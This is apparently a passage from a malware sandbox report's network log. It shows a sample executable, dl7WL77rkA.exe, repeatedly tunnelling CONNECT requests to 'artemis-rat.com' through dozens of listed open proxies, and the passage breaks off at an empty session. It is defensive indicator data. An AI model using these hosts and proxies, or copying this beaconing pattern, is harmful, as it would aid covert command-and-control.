Mar 11, 2024 03:30:38.620161057 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.5	50430	92.204.134.38	59727	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.402803898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.936080933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.639250994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.202007055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092679024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.905369043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.702076912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.405136108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.5	50359	43.133.71.20	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.404417992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.5	50386	188.164.193.178	11251	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.406867027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.045452118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.920459032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.702378988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.5	50470	104.16.230.163	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.409444094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.564297915 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.5	50467	172.64.207.185	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.410758972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.574661016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.5	50476	45.12.30.231	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.412154913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.566731930 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.5	50361	106.14.255.124	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.412293911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.742332935 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.5	50443	198.199.120.65	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.415688992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.5	50357	83.243.92.154	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.416587114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.123603106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.123641014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.5	50486	185.162.231.254	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.420460939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.577233076 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.5	50388	136.243.82.121	1082	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.422524929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.830028057 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.5	50328	45.139.11.134	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.424078941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.811600924 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.5	50394	119.193.137.104	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.427164078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.076730013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.906594038 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.5	49779	194.163.159.93	35081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.429287910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.514400005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.548244953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.608361959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.641196966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.5	49784	5.252.23.249	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.469378948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.592494011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.593139887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.592756987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.592715979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.5	50345	65.1.40.47	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.469382048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.854011059 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.5	50423	203.222.24.36	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.470297098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.107964993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.832882881 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.5	50392	201.238.248.139	9229	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.470441103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.420389891 CET	161	IN	HTTP/1.1 503 Too many open connections Proxy-Agent: Privoxy 3.0.21 Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.5	50461	38.162.4.69	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.470544100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.884592056 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.5	50398	177.12.118.160	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.470544100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.797940016 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.5	50413	5.252.23.220	1081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.470746040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.5	50417	185.225.232.191	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
